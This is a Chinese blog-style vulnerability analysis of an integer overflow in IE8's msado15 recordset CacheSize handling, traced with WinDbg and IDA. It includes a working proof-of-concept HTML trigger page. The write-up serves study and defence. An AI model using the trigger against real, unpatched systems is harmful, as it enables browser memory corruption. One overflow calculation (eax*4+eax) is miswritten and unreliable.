这个漏洞是整数溢出漏洞,漏洞环境为win7+IE8 ,调试工具为windbg,静态分析工具为IDA。
主要参考《漏洞战争》相关介绍,实际分析了一下。
首先启动页堆。
打开IE8,windbg附加进程,然后IE打开poc文件。
poc.html文件如下:
<html xmlns:t ="urn:schemas-microsoft-com:time">
<script language='javascript'>
function Start() {
localxmlid1 = document.getElementById('xmlid1').recordset;
localxmlid1.CacheSize = 0x40000358;
for(var i=0;i<0x100000;i++)
{
localxmlid1.AddNew(["AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"],["c"]);
localxmlid1.MoveFirst();
}
}
</script>
<bodyonLoad="window.setTimeout(Start,100);" id="bodyid">
<?xml version="1.0"encoding="utf-8" standalone="yes"?>
<XML ID="xmlid1">
<Devices>
<Device>
<AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/>
</Device>
</Devices>
</XML>
</body>
</html>
发现windbg成功拦下异常:
查看一下地址0x08cea000属性,可以发现内存是私有的,不能读写执行,造成异常
继续查看一下地址0x08cea000所在的堆属性及分配过程。命令:!heap -p -a 0x08cea000
可以看到该内存所在堆起始于ox8ce9298,大小为0xd64。
查看一下堆得分配过程,根据堆栈回溯,
是通过 6b4506e7 msado15!CRecordGroup::AllocateHRowRange+0x00000085处调用
MSDART!MpHeapAlloc函数分配内存的,那直接分析函数msado15!CRecordGroup::AllocateHRowRange就可以发现端倪了。
重新加载IE,在函数msado15!CRecordGroup::AllocateHRowRange+0x00000085下断点,成功断下:
call edi就是调用的MSDART!MpHeapAlloc:
可以看到分配的大小为0x8,继续运行,然后又在函数msado15!CRecordGroup::AllocateHRowRange+0x00000085处断下,查看此时栈中数据:
可以看到此时分配大小为oxd64的堆块,
继续查找这个大小是怎么来的,重新加载poc文件,在函数msado15!CRecordGroup::AllocateHRowRange上下断点,然后运行:
成功断下(第二次断下),然后查看一下函数msado15!CRecordGroup::AllocateHRowRange+0x00000085上下文的代码:
可以看到堆的大小来自eax,来自eax*4+4,最开始来自edi,所以我们在msado15!CRecordGroup::AllocateHRowRange+0x64处下断点(第二次断下):
可以看到此时edi就是我们设置的cachesize的值。
下边就借助IDA来静态分析一下,此处的相关代码:
(在windbg下使用命令lmvm msado15可以查看dll文件的详细信息):
windbg已经默认将dll的符号文件下载,在IDA中可以直接导入分析:
按照箭头来分析,首先edi=cachesize=0x40000358,然后传入eax,然后对eax做如下运算eax=eax*4+eax,注意eax寄存器只能保存四个字节大小的数据,此时0x40000358*4+0x40000358=0x100000d64>0xffffffff,所以此时eax实际的结果是0xd64,所以此时实际分配的堆块大小远远小于要求分配的大小,最终导致堆溢出。
实际的利用中需要结合另一个IE UAF漏洞。
总结:多用虚拟机快照,这样比较方便。